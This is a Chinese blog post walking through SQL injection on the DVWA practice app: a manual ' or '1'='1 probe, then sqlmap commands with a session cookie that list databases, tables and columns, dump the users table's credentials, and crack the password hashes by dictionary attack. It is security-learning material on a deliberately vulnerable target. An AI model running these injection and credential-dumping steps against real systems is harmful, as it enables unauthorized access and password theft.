zoukankan      html  css  js  c++  java
  • SQL注入以及sqlmap初体验

    • 随便输入1,出现结果。

    • 输入 1' ,报错,看来存在sql注入漏洞。

    • 输入1' or '1'='1,果然弹出了所有的信息。

    • 下面利用sqlmap工具

    • 输入

    sqlmap.py -u "url"
    

    • 显示302重定向至登陆界面,看来需要带上cookie,F12选择网络或者burp抓包获取cookie。
      sqlmap.py -u "~~~" --cookie "~~~"
    

    • 下面用--dbs得到所有数据库
      sqlmap.py -u "~~~" --cookie "~~~" --dbs
    

    • --tables -D "dvwa" 得到dvwa数据库下的表

    • --columns -T "users" -D "dvwa"参数得到dvwa数据库下面的表users下面的列(columns)

    • 以及快接近到最重要的部分了,可以看到以及出现了user和密码。
    • --dump -C "user_id,user,password" -T "user" -D "dvwa"参数得到dvwa数据库下面的表users---下面的列(Columns)的具体值,即某(些)属性的具体值。
    sqlmap.py -u "~~~" --cookie "~~~" --dump -C "user_id,user,password" -T "user" -D "dvwa"
    

    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
    是否要将散列存储到临时文件中,以便最终使用其他工具进一步处理[y/N]

    • 我选的n

    do you want to crack them via a dictionary-based attack? [Y/n/q]
    是否想通过基于字典的攻击来破解它们[Y/n/q]

    • Y

    what dictionary do you want to use?
    用什么字典来破解
    [1] default dictionary file 'D:ctftoolssqlmapsqlmapsqlmapproject-sqlmap-d4d83b2data xtwordlist.tx_' (press Enter)
    默认字典文件'~~~'(按下回车)
    [2] custom dictionary file
    自定义字典
    [3] file with list of dictionary files
    带有字典文件列表的文件

    • 1

    • 成功!
  • 相关阅读:
    图论算法——最短路系列
    1126 数字统计 2010年NOIP全国联赛普及组
    JavaEE Tutorials (10)
    情书
    洛谷 P1171 售货员的难题
    洛谷 P1769 淘汰赛制_NOI导刊2010提高(01)
    洛谷 P1858 多人背包
    HDU 2639 Bone Collector II
    国庆 day 6 下午
    国庆 day 6 上午
  • 原文地址:https://www.cnblogs.com/yuuuuu422/p/13517322.html
Copyright © 2011-2022 走看看